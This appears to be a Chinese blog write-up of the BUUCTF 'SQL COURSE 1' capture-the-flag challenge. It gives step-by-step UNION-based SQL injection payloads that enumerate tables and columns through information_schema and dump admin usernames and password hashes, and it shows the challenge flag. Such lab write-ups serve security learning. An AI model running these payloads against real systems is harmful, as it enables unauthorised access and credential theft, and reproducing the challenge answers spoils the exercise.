首页 > 数据库 >BUU SQL COURSE 1

BUU SQL COURSE 1

时间:2024-06-21 10:27:56浏览次数:25  
标签:group admin BUU COURSE concat SQL id select union

1、链接页面

2、尝试admin+万能密码测试登录发现登录不了,看来这条路走不通了

3、查看那几条新闻,发现url有点奇怪

4、先fn+f12查看页面,再fn+f5,找到原始请求的url

5、访问这个url,出现了新闻1的内容

http://dcd38613-6dfd-4e63-80c6-a7af2ea84ebd.node5.buuoj.cn:81/backend/content_detail.php?id=1

6、既然登录框不能测试sql,那在url中进行sql注入

经过上面两种情况的测试得知这是数字型注入

7、接下来常规步骤:查询列数(由下面测试结果可知有两列)

id=1 order by 2;有回显

id=1 order by 3;无回显

8、判断回显位置

?id=-1 union select 1,2;

9、查询数据库名:news

?id=-1 union select 1,database(); 

10、查询表名:admin,contents

?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database(); 

11、查admin表中字段信息:"id,username,password"

?id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_name='admin'; 

12、获取admin表中用户名和密码的信息

?id=-1 union select 1,group_concat(username)from admin; 

 ?id=-1 union select 1,group_concat(password)from admin;

 

13、得到信息

admin

652e9bfc2546350797699a3ffaa91f88

14、登录账号得到flag

 

flag{b4d03c61-e70a-497a-ba7d-ca87753188a4}

标签:group,admin,BUU,COURSE,concat,SQL,id,select,union
From: https://blog.csdn.net/2201_75556700/article/details/139752974

相关文章

  • [Mysql] 的基础知识和sql 语句.教你速成(上)——逻辑清晰,涵盖完整
    目录前言上篇的内容概况下篇的内容概况 数据库的分类关系型数据库常见的关系型数据库系统非关系型数据库1.键值对数据库(Key-ValueStores)特点:常见的键值对数据库:2.文档数据库(DocumentStores)特点:常见的文档数据库:3.列族数据库(Column-FamilyStores)特点:常......
  • 小说爬虫-02 爬取小说详细内容和章节列表 推送至RabbitMQ 消费ACK确认 Scrapy爬取 SQL
    代码仓库代码我已经上传到Github,大家需要的可以顺手点个Star!https://github.com/turbo-duck/biquge_fiction_spider背景介绍上一节已经拿到了每个小说的编码:fiction_code,并且写入了数据库表。接下来,我们写一个小工具,将数据表中的数据,都推送到RabbitMQ中。为了保......
  • SQL Server数据库查看所有数据库的所有表的大小
    1.查看单个库所有表大小SELECT DatabaseName=db_name(), SchemaName=sch.name, TableName=tab.name, TotalRowCount=par.rows, TotalSpace=SUM(alc.total_pages)*8, UsedSpace=SUM(alc.used_pages)*8, UnusedSpace=(SUM(alc.total_pages)-SUM(alc.us......
  • windows安装MySQL
    windows安装MySQL1.下载MySQL的安装包这里以mysql5.7.35为例进行安装演示用安装包放在下面mysql-5.7.35-winx64.zip2.解压安装包到需要安装的路径3.在解压的文件中创建my.ini[mysqld]basedir=MySQL路径\datadir=MySQL路径\data\port=3306skip-grant-tables4.安装My......
  • keepalived实现Mysql的双机热备自动故障切换,看这一篇就够了!
    目录一、什么是双热备份?二、什么是Mysql的双热备份? 三、什么是keepalived?四、实现Mysql的双机热备1、配置双主复制参数2、创建用于复制的MySQL用户3、将A节点的数据拷贝到B节点4、B节点上开启复制五、 安装配置keepalived,完成故障自动切换1、keepalived的安装2、......
  • SqlserverCDCSourceSink
    此处调用官方sinkdemo,更新和删除逻辑还需要再判断实现。importcom.ververica.cdc.connectors.base.options.StartupOptions;importcom.ververica.cdc.connectors.sqlserver.SqlServerSource;importcom.ververica.cdc.connectors.sqlserver.source.SqlServerSourceBuilder;......
  • Uipath 如何连接SQLite数据进行操作
      1、下载SQLiteDatabaseActivitiesforUipathpackages,无需安装SQLite数据库驱动。2、SQLite查询操作   2.1添加查询活动:在UIPathStudio的“Activities”面板中,搜索并添加“ExecuteQuery”活动。这个活动用于执行SQL查询语。在“ExecuteQuery”活动的属......
  • 基于Java的图书管理系统源码( GUI+JavaSwing+MySql )
    基于Java的图书管理系统源码(GUI+JavaSwing+MySql)1、使用JavaSwing,Mysql实现2、IDEA编写,eclipse也可以运行(测试使用的IDEA24.1.3)3、测试环境:JDK1.8(JDK20),MySQL5.54、本项目实现了注册、登录、图书馆数据维护、新书订购、借阅管理、系统维护等功能=============......
  • MySQL高级SQL语句
    目录一.准备两个表二.高级查询方式1.select2.distinct3.where4.andor5.in6.between7.通配符8.like三.运用函数查询1.常用数学函数2.聚合函数3.字符串函数四.高级查询函数1.orderby2.groupby3.having4.别名设置查询4.1.字段别名4.2.表别名5.子查询语句......
  • MySQL中设置两个默认时间(createTime字段和updateTime字段)
    MySQL中设置两个默认时间在MySQL中,您可以使用DATETIME数据类型并设置默认值为CURRENT_TIMESTAMP来实现这一点。以下是一个示例,展示了如何为createTime和updateTime字段设置默认值:CREATETABLEtable_name(idINTPRIMARYKEY,createTimeDATETIMEDEFAULTCURRENT......